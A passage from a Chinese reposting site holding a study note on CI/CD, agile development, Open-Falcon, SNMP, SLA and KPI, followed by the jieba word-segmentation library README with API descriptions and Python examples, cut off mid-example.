如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-27 09:27:49
257
转载
转载文章
...代之中,尽早的暴露出问题,尽早解决,尽量在规定的时间内完成任务)(四尽早一尽量) 自动化流水线操作带来的高效 (CI的精髓在于持续,持续意味着自动化) (自动化验证代码变更的过程,可以在软件开发的早期发现缺陷和与其他代码、组件的集成问题) 随时可部署 (高频率的集成可以尽可能地保证随时部署上线,缩短开发复杂软件的市场交付时间) 极大程度避免低级错误 (减少大量内容合并到主干分支的请看看,避免代码合并冲突和无法预料的行为) 低级错误:编译错误,安装问题,接口问题,性能问题等 难点 迁移遗留代码到现有CI系统,需要的投入通常爱预料之外 在文化和组织上如果没有采用敏捷原则或DecOps的工作方式,那么很可能没有持续不断的提交,那么CI的存在意义不大 随着业务增长、工具的更替、技术的演进。CI系统也必然随之改动,往往会导致阶段性的不稳定和人力物力的耗费 如果CI的基本设定不到位,开发流程将会增加特别的开销 注意点 CI流程的触发方式 跟踪触发式:在每次提交到源码版本管理系统时触发 计划任务:预配置好的计划 手动:无论是通过CI服务器的管理界面还是脚本,用户可以手工执行CI工作流 代码审核 可在持续集成服务器里使用代码分析工具(例如Sonar)来执行自动代码审查 自动代码审查通过后,可发起一个人工代码审查,揪出那些自动审查无法找出的问题,即验证业务需求,架构问题,代码是否可读,以及是否易于扩展。 可灵活配置代码审核策略,例如:如果某些人没有审查代码便阻止对主干分支的任何提交。 最常用的工具是Gerrit 持续交付 简述 持续交付简称CD或CDE,是一种能够使得软件在较短的循环中可靠的发布的软件工程方法 与持续集成相比,持续交付的重点在于 交付,其核心对象不在于代码,而在于可交付的产物。 由于持续集成仅仅针对于新旧代码的集成过程执行来了一定的测试,其变动到持续交付后还需要一些额外的流程 持续交付可以看作为是持续集成的下一步,它强调的是,不敢怎么更新,软件是随时随快可以交付的 有图可看出,持续交付在持续集成的基础上,将集成后的代码部署到更贴近真实的运行环境的[类生产环境]中 目的 持续交付永爱确保让代码能够快速、安全的部署到产品环境中,它通过将每一次改动都会提交到一个模拟产品环境中,使用严格的自动化测试,确保业务应用和服务能符合预期 好处 持续交付和持续集成的好处非常相似: 快速发布。能够应对业务需求,并更快地实现软件价值 编码→测试→上线→交付的频繁迭代周期缩短,同时获得迅速反馈 高质量的软件发布标准。整个交付过程标准化、可重复、可靠 整个交付过程进度可视化,方便团队人员了解项目完成度 更先进的团队协作方式。从需求分析、产品的用户体验到交互、设计、开发、测试、运维等角色密切协作,相比于传统的瀑布式软件团队,更少浪费 持续部署 简述 持续部署 意味着:通过自动化部署的手段将软件功能频繁的进行交付 持续部署是持续交付的下一步,指的是代码通过审批以后,自动化部署到生产环境。 持续部署是持续交付的最高阶段,这意味着,所有通过了一系列的自动化测试的改动都将自动部署到生产环境。它也可以被称为“Continuous Release” 持续化部署的目标是:代码在任何时候都是可部署的,可以进入生产阶段。 持续部署的前提是能自动化完成测试、构建、部署等步骤 注:持续交付不等于持续集成 与持续交付以及持续集成相比,持续部署强调了通过 automated deployment 的手段,对新的软件功能进行集成 目标 持续部署的目标是:代码在任何时刻都是可部署的,可以进入生产阶段 有很多的业务场景里,一种业务需要等待另外的功能特征出现才能上线,这是的持续部署成为不可能。虽然使用功能切换能解决很多这样的情况,但并不是没每次都会这样。所以,持续部署是否适合你的公司是基于你们的业务需求——而不是技术限制 优点 持续部署主要的好处是:可以相对独立地部署新的功能,并能快速地收集真实用户的反馈 敏捷开发 简述 敏捷开发就是一种以人为核心、迭代循环渐进的开发方式。 在敏捷开发中,软件仙姑的构建被切分成多个子项目,各个子项目的成果都经过测试,具备集成和可运行的特征。 简单的说就是把一个大的项目分为多个相互联系,但也可以独立运行的小项目,并分别完成,在此过程中软件一直处于可使用状态 注意事项 敏捷开的就是一种面临迅速变化的需求快速开发的能力,要注意一下几点: 敏捷开发不仅仅是一个项目快速完成,而是对整个产品领域需求的高效管理 敏捷开发不仅仅是简单的快,而是短周期的不断改进、提高和调整 敏捷开发不仅仅是一个版本只做几个功能,而是突出重点、果断放弃当前的非重要点 敏捷开发不仅仅是随时增加需求,而是每个迭代周期对需求的重新审核和排序 如何进行敏捷开发 1、组织建设 也就是团队建设,建立以产品经理为主导,包含产品、设计、前后台开发和测试的team,快速进行产品迭代开发;扁平化的团队管理,大家都有共同目标,更有成就感; 2、敏捷制度 要找准适合自身的敏捷开发方式,主要是制定一个完善的效率高的设计、开发、测试、上线流程,制定固定的迭代周期,让用户更有期待; 3、需求收集 这个任何方式下都需要有,需求一定要有交互稿,评审通过后,一定要确定功能需求列表、责任人、工作量、责任人等; 4、工具建设 是指能够快速完成某项事情的辅助工具,比如开发环境的一键安装,各种底层的日志、监控等平台,发布、打包工具等; 5、系统架构 略为超前架构设计:支持良好的扩容性和可维护性;组件化基础功能模块:代码耦合度低,模块间的依赖性小;插件化业务模块:降低营销活动与业务耦合度,自升级、自维护;客户端预埋逻辑;技术预研等等; 6、数据运营与灰度发布 点击率分析、用户路径分析、渠道选择、渠道升级控制等等 原则、特点和优势 敏捷开发技术的12个原则: 1.我们最优先要做的是通过尽早的、持续的交付有价值的软件来使客户满意。 2.即使到了开发的后期,也欢迎改变需求。 3.经常性地交付可以工作的软件,交付的间隔可以从几周到几个月,交付的时间间隔越短越好。 4.在整个项目开发期间,业务人员和开发人员必须天天都在一起工作。 5.围绕被激励起来的个人来构建项目。 6.在团队内部,最具有效果并且富有效率的传递信息的方法,就是面对面的交谈。 7.工作的软件是首要的进度度量标准。 8.敏捷过程提倡可持续的开发速度。 9.不断地关注优秀的技能和好的设计会增强敏捷能力。 10.简单使未完成的工作最大化。 11.最好的构架、需求和设计出自于自组织的团队。 12.每隔一定时间,团队会在如何才能更有效地工作方面进行反省,然后相应地对自己的行为进行调整。 特点: 个体和交互胜过过程和工具 可以工作的软件胜过面面俱到的文档 客户合作胜过合同谈判 响应变化胜过遵循计划 优势总结: 敏捷开发确实是项目进入实质开发迭代阶段,用户很快可以看到一个基线架构班的产品。敏捷注重市场快速反应能力,也即具体应对能力,客户前期满意度高 适用范围: 项目团队的人不能太多 项目经常发生变更 高风险的项目实施 开发人员可以参与决策 劣势总结: 敏捷开发注重人员的沟通 忽略文档的重要性 若项目人员流动太大,维护的时候很难 项目存在新手的比较多的时候,老员工会比较累 需要项目中存在经验较强的人,要不然大项目中容易遇到瓶颈问题 Open-falcon 简述 open-falcon是小米的监控系统,是一款企业级、高可用、可扩展的开源监控解决方案 公司用open-falcon来监控调度系统各种信息,便于监控各个节点的调度信息。在服务器安装了falcon-agent自动采集各项指标,主动上报 特点 强大灵活的数据采集 (自动发现,支持falcon-agent、snmp、支持用户主动push、用户自定义插件支持、opentsdb data model like(timestamp、endpoint、metric、key-value tags) ) 水平扩展能力 (支持每个周期上亿次的数据采集、告警判定、历史数据存储和查询 ) 高效率的告警策略管理 (高效的portal、支持策略模板、模板继承和覆盖、多种告警方式、支持callback调用 ) 人性化的告警设置 (最大告警次数、告警级别、告警恢复通知、告警暂停、不同时段不同阈值、支持维护周期 ) 高效率的graph组件 (单机支撑200万metric的上报、归档、存储(周期为1分钟) ) 高效的历史数据query组件 (采用rrdtool的数据归档策略,秒级返回上百个metric一年的历史数据 ) dashboard(面向用户的查询界面,可以看到push到graph中的所有数据,并查看数据发展趋势 ) (对维度的数据展示,用户自定义Screen) 高可用 (整个系统无核心单点,易运维,易部署,可水平扩展) 开发语言 (整个系统的后端,全部golang编写,portal和dashboard使用python编写。 ) 监控范围 Open-Falcon支持系统基础监控,第三方服务监控,JVM监控,业务应用监控 基础监控指的是Linux系统的指标监控,包括CPU、load、内存、磁盘、IO、网络等, 这些指标由Openfalcon的agent节点直接支持,无需插件 第三方服务监控指的是一些常见的服务监控,包括Mysql、Redis、Nginx等 OpenFalcon官网提供了很多第三方服务的监控插件,也可以自己实现插件,定义采集指标。而采集到的指标,也是通过插件先发送给agent,再由agent发送到OpenFalcon。 JVM监控主要通过插件完成,插件通过JVM开放的JMX通信端口,获取到JVM参数指标,并推送到agent节点,再由agent发送到OpenFalcon。 业务应用监控就是监控企业自主开发的应用服务 主要通过插件完成,插件通过JVM开放的JMX通信端口,获取到JVM参数指标,并推送到agent节点,再由agent发送到OpenFalcon。 数据流向 常见的OpenFalcon包含transfer、hbs、agent、judge、graph、API几个进程 以下是各个节点的数据流向图,主数据流向是agent -> transfer -> judge/graph: SNMP 简述 SNMP:简单网络管理协议,是TCP/IP协议簇 的一个应用层协议,由于SNMP的简单性,在Internet时代得到了蓬勃的发展 ,1992年发布了SNMPv2版本,以增强SNMPv1的安全性和功能。现在,已经有了SNMPv3版本(它对网络管理最大的贡献在于其安全性。增加了对认证和密文传输的支持 )。 一套完整的SNMP系统主要包括:管理信息库(MIB)、管理信息结构(SMI)和 SNMP报文协议 为什么要用SNMP 作为运维人员,我们很大一部分的工作就是为了保证我们的网络能够正常、稳定的运行。因此监控,控制,管理各种网络设备成了我们日常的工作 优点和好处 优点: 简单易懂,部署的开销成本也小 ,正因为它足够简单,所以被广泛的接受,事实上它已经成为了主要的网络管理标准。在一个网络设备上实现SNMP的管理比绝大部分其他管理方式都简单直接。 好处: 标准化的协议:SNMP是TCP/IP网络的标准网络管理协议。 广泛认可:所有主流供应商都支持SNMP。 可移植性:SNMP独立于操作系统和编程语言。 轻量级:SNMP增强对设备的管理能力的同时不会对设备的操作方式或性能产生冲击。 可扩展性:在所有SNMP管理的设备上都会支持相同的一套核心操作集。 广泛部署:SNMP是最流行的管理协议,最为受设备供应商关注,被广泛部署在各种各样的设备上。 MIB、SMI和SNMP报文 MIB 管理信息库MIB:任何一个被管理的资源都表示成一个对象,称为被管理的对象。 MIB是被管理对象的集合。 它定义了被管理对象的一系列属性:对象的名称、对象的访问权限和对象的数据类型等。 每个SNMP设备(Agent)都有自己的MIB。 MIB也可以看作是NMS(网管系统)和Agent之间的沟通桥梁。 MIB文件中的变量使用的名字取自ISO和ITU管理的对象表示符命名空间,他是一个分级数的结构 SMI SMI定义了SNNMP框架多用信息的组织、组成和标识,它还未描述MIB对象和表述协议怎么交换信息奠定了基础 SMI定义的数据类型: 简单类型(simple): Integer:整型是-2,147,483,648~2,147,483,647的有符号整数 octet string: 字符串是0~65535个字节的有序序列 OBJECT IDENTIFIER: 来自按照ASN.1规则分配的对象标识符集 简单结构类型(simple-constructed ): SEQUENCE 用于列表。这一数据类型与大多数程序设计语言中的“structure”类似。一个SEQUENCE包括0个或更多元素,每一个元素又是另一个ASN.1数据类型 SEQUENCE OF type 用于表格。这一数据类型与大多数程序设计语言中的“array”类似。一个表格包括0个或更多元素,每一个元素又是另一个ASN.1数据类型。 应用类型(application-wide): IpAddress: 以网络序表示的IP地址。因为它是一个32位的值,所以定义为4个字节; counter:计数器是一个非负的整数,它递增至最大值,而后回零。在SNMPv1中定义的计数器是32位的,即最大值为4,294,967,295; Gauge :也是一个非负整数,它可以递增或递减,但达到最大值时保持在最大值,最大值为232-1; time ticks:是一个时间单位,表示以0.01秒为单位计算的时间; SNMP报文 SNMP规定了5种协议数据单元PDU(也就是SNMP报文),用来在管理进程和代理之间的交换。 get-request操作:从代理进程处提取一个或多个参数值。 get-next-request操作:从代理进程处提取紧跟当前参数值的下一个参数值。 set-request操作:设置代理进程的一个或多个参数值。 get-response操作:返回的一个或多个参数值。这个操作是由代理进程发出的,它是前面三种操作的响应操作。 trap操作:代理进程主动发出的报文,通知管理进程有某些事情发生。 操作命令 SNMP协议之所以易于使用,这是因为它对外提供了三种用于控制MIB对象的基本操作命令。它们是:Get、Set 和 Trap。 Get:管理站读取代理者处对象的值 Set:管理站设置代理者处对象的值 Trap: 代理者主动向管理站通报重要事件 SLA 简述 SLA(服务等级协议):是关于网络服务供应商和客户之间的一份合同,其中定义了服务类型、服务质量和客户付款等术语 一个完整的SLA同时也是一个合法的文档,包括所涉及的当事人、协定条款(包含应用程序和支持的服务)、违约的处罚、费用和仲裁机构、政策、修改条款、报告形式和双方的义务等。同样服务提供商可以对用户在工作负荷和资源使用方面进行规定。 KPI 简述 KPI(关键绩效指标):是通过对组织内部流程的输入端、输出端的关键参数进行设置、取样、计算、分析,衡量流程绩效的一种目标式量化管理指标,是把企业的战略目标分解为可操作的工作目标的工具,是企业绩效管理的基础。 KPI可以是部门主管明确部门的主要责任,并以此为基础,明确部门人员的业绩衡量指标,建立明确的切实可行的KPI体系,是做好绩效管理的关键。 KPI(关键绩效指标)是用于衡量工作人员工作绩效表现的量化指标,是绩效计划的重要组成部分 转载于:https://www.cnblogs.com/woshinideyugegea/p/11242034.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/anqiongsha8211/article/details/101592137。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-19 16:00:05
46
转载
转载文章
...动态规划查找最大概率路径, 找出基于词频的最大切分组合 对于未登录词,采用了基于汉字成词能力的 HMM 模型,使用了 Viterbi 算法 主要功能 分词 jieba.cut 方法接受四个输入参数: 需要分词的字符串;cut_all 参数用来控制是否采用全模式;HMM 参数用来控制是否使用 HMM 模型;use_paddle 参数用来控制是否使用paddle模式下的分词模式,paddle模式采用延迟加载方式,通过enable_paddle接口安装paddlepaddle-tiny,并且import相关代码; jieba.cut_for_search 方法接受两个参数:需要分词的字符串;是否使用 HMM 模型。该方法适合用于搜索引擎构建倒排索引的分词,粒度比较细 待分词的字符串可以是 unicode 或 UTF-8 字符串、GBK 字符串。注意:不建议直接输入 GBK 字符串,可能无法预料地错误解码成 UTF-8 jieba.cut 以及 jieba.cut_for_search 返回的结构都是一个可迭代的 generator,可以使用 for 循环来获得分词后得到的每一个词语(unicode),或者用 jieba.lcut 以及 jieba.lcut_for_search 直接返回 list jieba.Tokenizer(dictionary=DEFAULT_DICT) 新建自定义分词器,可用于同时使用不同词典。jieba.dt 为默认分词器,所有全局分词相关函数都是该分词器的映射。 代码示例 encoding=utf-8import jiebajieba.enable_paddle() 启动paddle模式。 0.40版之后开始支持,早期版本不支持strs=["我来到北京清华大学","乒乓球拍卖完了","中国科学技术大学"]for str in strs:seg_list = jieba.cut(str,use_paddle=True) 使用paddle模式print("Paddle Mode: " + '/'.join(list(seg_list)))seg_list = jieba.cut("我来到北京清华大学", cut_all=True)print("Full Mode: " + "/ ".join(seg_list)) 全模式seg_list = jieba.cut("我来到北京清华大学", cut_all=False)print("Default Mode: " + "/ ".join(seg_list)) 精确模式seg_list = jieba.cut("他来到了网易杭研大厦") 默认是精确模式print(", ".join(seg_list))seg_list = jieba.cut_for_search("小明硕士毕业于中国科学院计算所,后在日本京都大学深造") 搜索引擎模式print(", ".join(seg_list)) 输出: 【全模式】: 我/ 来到/ 北京/ 清华/ 清华大学/ 华大/ 大学【精确模式】: 我/ 来到/ 北京/ 清华大学【新词识别】:他, 来到, 了, 网易, 杭研, 大厦 (此处,“杭研”并没有在词典中,但是也被Viterbi算法识别出来了)【搜索引擎模式】: 小明, 硕士, 毕业, 于, 中国, 科学, 学院, 科学院, 中国科学院, 计算, 计算所, 后, 在, 日本, 京都, 大学, 日本京都大学, 深造 添加自定义词典 载入词典 开发者可以指定自己自定义的词典,以便包含 jieba 词库里没有的词。虽然 jieba 有新词识别能力,但是自行添加新词可以保证更高的正确率 用法: jieba.load_userdict(file_name) file_name 为文件类对象或自定义词典的路径 词典格式和 dict.txt 一样,一个词占一行;每一行分三部分:词语、词频(可省略)、词性(可省略),用空格隔开,顺序不可颠倒。file_name 若为路径或二进制方式打开的文件,则文件必须为 UTF-8 编码。 词频省略时使用自动计算的能保证分出该词的词频。 例如: 创新办 3 i云计算 5凱特琳 nz台中 更改分词器(默认为 jieba.dt)的 tmp_dir 和 cache_file 属性,可分别指定缓存文件所在的文件夹及其文件名,用于受限的文件系统。 范例: 自定义词典:https://github.com/fxsjy/jieba/blob/master/test/userdict.txt 用法示例:https://github.com/fxsjy/jieba/blob/master/test/test_userdict.py 之前: 李小福 / 是 / 创新 / 办 / 主任 / 也 / 是 / 云 / 计算 / 方面 / 的 / 专家 / 加载自定义词库后: 李小福 / 是 / 创新办 / 主任 / 也 / 是 / 云计算 / 方面 / 的 / 专家 / 调整词典 使用 add_word(word, freq=None, tag=None) 和 del_word(word) 可在程序中动态修改词典。 使用 suggest_freq(segment, tune=True) 可调节单个词语的词频,使其能(或不能)被分出来。 注意:自动计算的词频在使用 HMM 新词发现功能时可能无效。 代码示例: >>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中将/出错/。>>> jieba.suggest_freq(('中', '将'), True)494>>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中/将/出错/。>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台/中/」/正确/应该/不会/被/切开>>> jieba.suggest_freq('台中', True)69>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台中/」/正确/应该/不会/被/切开 “通过用户自定义词典来增强歧义纠错能力” — https://github.com/fxsjy/jieba/issues/14 关键词提取 基于 TF-IDF 算法的关键词抽取 import jieba.analyse jieba.analyse.extract_tags(sentence, topK=20, withWeight=False, allowPOS=()) sentence 为待提取的文本 topK 为返回几个 TF/IDF 权重最大的关键词,默认值为 20 withWeight 为是否一并返回关键词权重值,默认值为 False allowPOS 仅包括指定词性的词,默认值为空,即不筛选 jieba.analyse.TFIDF(idf_path=None) 新建 TFIDF 实例,idf_path 为 IDF 频率文件 代码示例 (关键词提取) https://github.com/fxsjy/jieba/blob/master/test/extract_tags.py 关键词提取所使用逆向文件频率(IDF)文本语料库可以切换成自定义语料库的路径 用法: jieba.analyse.set_idf_path(file_name) file_name为自定义语料库的路径 自定义语料库示例:https://github.com/fxsjy/jieba/blob/master/extra_dict/idf.txt.big 用法示例:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_idfpath.py 关键词提取所使用停止词(Stop Words)文本语料库可以切换成自定义语料库的路径 用法: jieba.analyse.set_stop_words(file_name) file_name为自定义语料库的路径 自定义语料库示例:https://github.com/fxsjy/jieba/blob/master/extra_dict/stop_words.txt 用法示例:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_stop_words.py 关键词一并返回关键词权重值示例 用法示例:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_with_weight.py 基于 TextRank 算法的关键词抽取 jieba.analyse.textrank(sentence, topK=20, withWeight=False, allowPOS=(‘ns’, ‘n’, ‘vn’, ‘v’)) 直接使用,接口相同,注意默认过滤词性。 jieba.analyse.TextRank() 新建自定义 TextRank 实例 算法论文: TextRank: Bringing Order into Texts 基本思想: 将待抽取关键词的文本进行分词 以固定窗口大小(默认为5,通过span属性调整),词之间的共现关系,构建图 计算图中节点的PageRank,注意是无向带权图 使用示例: 见 test/demo.py 词性标注 jieba.posseg.POSTokenizer(tokenizer=None) 新建自定义分词器,tokenizer 参数可指定内部使用的 jieba.Tokenizer 分词器。jieba.posseg.dt 为默认词性标注分词器。 标注句子分词后每个词的词性,采用和 ictclas 兼容的标记法。 除了jieba默认分词模式,提供paddle模式下的词性标注功能。paddle模式采用延迟加载方式,通过enable_paddle()安装paddlepaddle-tiny,并且import相关代码; 用法示例 >>> import jieba>>> import jieba.posseg as pseg>>> words = pseg.cut("我爱北京天安门") jieba默认模式>>> jieba.enable_paddle() 启动paddle模式。 0.40版之后开始支持,早期版本不支持>>> words = pseg.cut("我爱北京天安门",use_paddle=True) paddle模式>>> for word, flag in words:... print('%s %s' % (word, flag))...我 r爱 v北京 ns天安门 ns paddle模式词性标注对应表如下: paddle模式词性和专名类别标签集合如下表,其中词性标签 24 个(小写字母),专名类别标签 4 个(大写字母)。 标签 含义 标签 含义 标签 含义 标签 含义 n 普通名词 f 方位名词 s 处所名词 t 时间 nr 人名 ns 地名 nt 机构名 nw 作品名 nz 其他专名 v 普通动词 vd 动副词 vn 名动词 a 形容词 ad 副形词 an 名形词 d 副词 m 数量词 q 量词 r 代词 p 介词 c 连词 u 助词 xc 其他虚词 w 标点符号 PER 人名 LOC 地名 ORG 机构名 TIME 时间 并行分词 原理:将目标文本按行分隔后,把各行文本分配到多个 Python 进程并行分词,然后归并结果,从而获得分词速度的可观提升 基于 python 自带的 multiprocessing 模块,目前暂不支持 Windows 用法: jieba.enable_parallel(4) 开启并行分词模式,参数为并行进程数 jieba.disable_parallel() 关闭并行分词模式 例子:https://github.com/fxsjy/jieba/blob/master/test/parallel/test_file.py 实验结果:在 4 核 3.4GHz Linux 机器上,对金庸全集进行精确分词,获得了 1MB/s 的速度,是单进程版的 3.3 倍。 注意:并行分词仅支持默认分词器 jieba.dt 和 jieba.posseg.dt。 Tokenize:返回词语在原文的起止位置 注意,输入参数只接受 unicode 默认模式 result = jieba.tokenize(u'永和服装饰品有限公司')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限公司 start: 6 end:10 搜索模式 result = jieba.tokenize(u'永和服装饰品有限公司', mode='search')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限 start: 6 end:8word 公司 start: 8 end:10word 有限公司 start: 6 end:10 ChineseAnalyzer for Whoosh 搜索引擎 引用: from jieba.analyse import ChineseAnalyzer 用法示例:https://github.com/fxsjy/jieba/blob/master/test/test_whoosh.py 命令行分词 使用示例:python -m jieba news.txt > cut_result.txt 命令行选项(翻译): 使用: python -m jieba [options] filename结巴命令行界面。固定参数:filename 输入文件可选参数:-h, --help 显示此帮助信息并退出-d [DELIM], --delimiter [DELIM]使用 DELIM 分隔词语,而不是用默认的' / '。若不指定 DELIM,则使用一个空格分隔。-p [DELIM], --pos [DELIM]启用词性标注;如果指定 DELIM,词语和词性之间用它分隔,否则用 _ 分隔-D DICT, --dict DICT 使用 DICT 代替默认词典-u USER_DICT, --user-dict USER_DICT使用 USER_DICT 作为附加词典,与默认词典或自定义词典配合使用-a, --cut-all 全模式分词(不支持词性标注)-n, --no-hmm 不使用隐含马尔可夫模型-q, --quiet 不输出载入信息到 STDERR-V, --version 显示版本信息并退出如果没有指定文件名,则使用标准输入。 --help 选项输出: $> python -m jieba --helpJieba command line interface.positional arguments:filename input fileoptional arguments:-h, --help show this help message and exit-d [DELIM], --delimiter [DELIM]use DELIM instead of ' / ' for word delimiter; or aspace if it is used without DELIM-p [DELIM], --pos [DELIM]enable POS tagging; if DELIM is specified, use DELIMinstead of '_' for POS delimiter-D DICT, --dict DICT use DICT as dictionary-u USER_DICT, --user-dict USER_DICTuse USER_DICT together with the default dictionary orDICT (if specified)-a, --cut-all full pattern cutting (ignored with POS tagging)-n, --no-hmm don't use the Hidden Markov Model-q, --quiet don't print loading messages to stderr-V, --version show program's version number and exitIf no filename specified, use STDIN instead. 延迟加载机制 jieba 采用延迟加载,import jieba 和 jieba.Tokenizer() 不会立即触发词典的加载,一旦有必要才开始加载词典构建前缀字典。如果你想手工初始 jieba,也可以手动初始化。 import jiebajieba.initialize() 手动初始化(可选) 在 0.28 之前的版本是不能指定主词典的路径的,有了延迟加载机制后,你可以改变主词典的路径: jieba.set_dictionary('data/dict.txt.big') 例子: https://github.com/fxsjy/jieba/blob/master/test/test_change_dictpath.py 其他词典 占用内存较小的词典文件 https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.small 支持繁体分词更好的词典文件 https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.big 下载你所需要的词典,然后覆盖 jieba/dict.txt 即可;或者用 jieba.set_dictionary('data/dict.txt.big') 其他语言实现 结巴分词 Java 版本 作者:piaolingxue 地址:https://github.com/huaban/jieba-analysis 结巴分词 C++ 版本 作者:yanyiwu 地址:https://github.com/yanyiwu/cppjieba 结巴分词 Rust 版本 作者:messense, MnO2 地址:https://github.com/messense/jieba-rs 结巴分词 Node.js 版本 作者:yanyiwu 地址:https://github.com/yanyiwu/nodejieba 结巴分词 Erlang 版本 作者:falood 地址:https://github.com/falood/exjieba 结巴分词 R 版本 作者:qinwf 地址:https://github.com/qinwf/jiebaR 结巴分词 iOS 版本 作者:yanyiwu 地址:https://github.com/yanyiwu/iosjieba 结巴分词 PHP 版本 作者:fukuball 地址:https://github.com/fukuball/jieba-php 结巴分词 .NET(C) 版本 作者:anderscui 地址:https://github.com/anderscui/jieba.NET/ 结巴分词 Go 版本 作者: wangbin 地址: https://github.com/wangbin/jiebago 作者: yanyiwu 地址: https://github.com/yanyiwu/gojieba 结巴分词Android版本 作者 Dongliang.W 地址:https://github.com/452896915/jieba-android 友情链接 https://github.com/baidu/lac 百度中文词法分析(分词+词性+专名)系统 https://github.com/baidu/AnyQ 百度FAQ自动问答系统 https://github.com/baidu/Senta 百度情感识别系统 系统集成 Solr: https://github.com/sing1ee/jieba-solr 分词速度 1.5 MB / Second in Full Mode 400 KB / Second in Default Mode 测试环境: Intel® Core™ i7-2600 CPU @ 3.4GHz;《围城》.txt 常见问题 1. 模型的数据是如何生成的? 详见: https://github.com/fxsjy/jieba/issues/7 2. “台中”总是被切成“台 中”?(以及类似情况) P(台中) < P(台)×P(中),“台中”词频不够导致其成词概率较低 解决方法:强制调高词频 jieba.add_word('台中') 或者 jieba.suggest_freq('台中', True) 3. “今天天气 不错”应该被切成“今天 天气 不错”?(以及类似情况) 解决方法:强制调低词频 jieba.suggest_freq(('今天', '天气'), True) 或者直接删除该词 jieba.del_word('今天天气') 4. 切出了词典中没有的词语,效果不理想? 解决方法:关闭新词发现 jieba.cut('丰田太省了', HMM=False) jieba.cut('我们中出了一个叛徒', HMM=False) 更多问题请点击:https://github.com/fxsjy/jieba/issues?sort=updated&state=closed 修订历史 https://github.com/fxsjy/jieba/blob/master/Changelog jieba “Jieba” (Chinese for “to stutter”) Chinese text segmentation: built to be the best Python Chinese word segmentation module. Features Support three types of segmentation mode: Accurate Mode attempts to cut the sentence into the most accurate segmentations, which is suitable for text analysis. Full Mode gets all the possible words from the sentence. Fast but not accurate. Search Engine Mode, based on the Accurate Mode, attempts to cut long words into several short words, which can raise the recall rate. Suitable for search engines. Supports Traditional Chinese Supports customized dictionaries MIT License Online demo http://jiebademo.ap01.aws.af.cm/ (Powered by Appfog) Usage Fully automatic installation: easy_install jieba or pip install jieba Semi-automatic installation: Download http://pypi.python.org/pypi/jieba/ , run python setup.py install after extracting. Manual installation: place the jieba directory in the current directory or python site-packages directory. import jieba. Algorithm Based on a prefix dictionary structure to achieve efficient word graph scanning. Build a directed acyclic graph (DAG) for all possible word combinations. Use dynamic programming to find the most probable combination based on the word frequency. For unknown words, a HMM-based model is used with the Viterbi algorithm. Main Functions Cut The jieba.cut function accepts three input parameters: the first parameter is the string to be cut; the second parameter is cut_all, controlling the cut mode; the third parameter is to control whether to use the Hidden Markov Model. jieba.cut_for_search accepts two parameter: the string to be cut; whether to use the Hidden Markov Model. This will cut the sentence into short words suitable for search engines. The input string can be an unicode/str object, or a str/bytes object which is encoded in UTF-8 or GBK. Note that using GBK encoding is not recommended because it may be unexpectly decoded as UTF-8. jieba.cut and jieba.cut_for_search returns an generator, from which you can use a for loop to get the segmentation result (in unicode). jieba.lcut and jieba.lcut_for_search returns a list. jieba.Tokenizer(dictionary=DEFAULT_DICT) creates a new customized Tokenizer, which enables you to use different dictionaries at the same time. jieba.dt is the default Tokenizer, to which almost all global functions are mapped. Code example: segmentation encoding=utf-8import jiebaseg_list = jieba.cut("我来到北京清华大学", cut_all=True)print("Full Mode: " + "/ ".join(seg_list)) 全模式seg_list = jieba.cut("我来到北京清华大学", cut_all=False)print("Default Mode: " + "/ ".join(seg_list)) 默认模式seg_list = jieba.cut("他来到了网易杭研大厦")print(", ".join(seg_list))seg_list = jieba.cut_for_search("小明硕士毕业于中国科学院计算所,后在日本京都大学深造") 搜索引擎模式print(", ".join(seg_list)) Output: [Full Mode]: 我/ 来到/ 北京/ 清华/ 清华大学/ 华大/ 大学[Accurate Mode]: 我/ 来到/ 北京/ 清华大学[Unknown Words Recognize] 他, 来到, 了, 网易, 杭研, 大厦 (In this case, "杭研" is not in the dictionary, but is identified by the Viterbi algorithm)[Search Engine Mode]: 小明, 硕士, 毕业, 于, 中国, 科学, 学院, 科学院, 中国科学院, 计算, 计算所, 后, 在, 日本, 京都, 大学, 日本京都大学, 深造 Add a custom dictionary Load dictionary Developers can specify their own custom dictionary to be included in the jieba default dictionary. Jieba is able to identify new words, but you can add your own new words can ensure a higher accuracy. Usage: jieba.load_userdict(file_name) file_name is a file-like object or the path of the custom dictionary The dictionary format is the same as that of dict.txt: one word per line; each line is divided into three parts separated by a space: word, word frequency, POS tag. If file_name is a path or a file opened in binary mode, the dictionary must be UTF-8 encoded. The word frequency and POS tag can be omitted respectively. The word frequency will be filled with a suitable value if omitted. For example: 创新办 3 i云计算 5凱特琳 nz台中 Change a Tokenizer’s tmp_dir and cache_file to specify the path of the cache file, for using on a restricted file system. Example: 云计算 5李小福 2创新办 3[Before]: 李小福 / 是 / 创新 / 办 / 主任 / 也 / 是 / 云 / 计算 / 方面 / 的 / 专家 /[After]: 李小福 / 是 / 创新办 / 主任 / 也 / 是 / 云计算 / 方面 / 的 / 专家 / Modify dictionary Use add_word(word, freq=None, tag=None) and del_word(word) to modify the dictionary dynamically in programs. Use suggest_freq(segment, tune=True) to adjust the frequency of a single word so that it can (or cannot) be segmented. Note that HMM may affect the final result. Example: >>> print('/'.join(jieba.cut('如果放到post中将出错。', 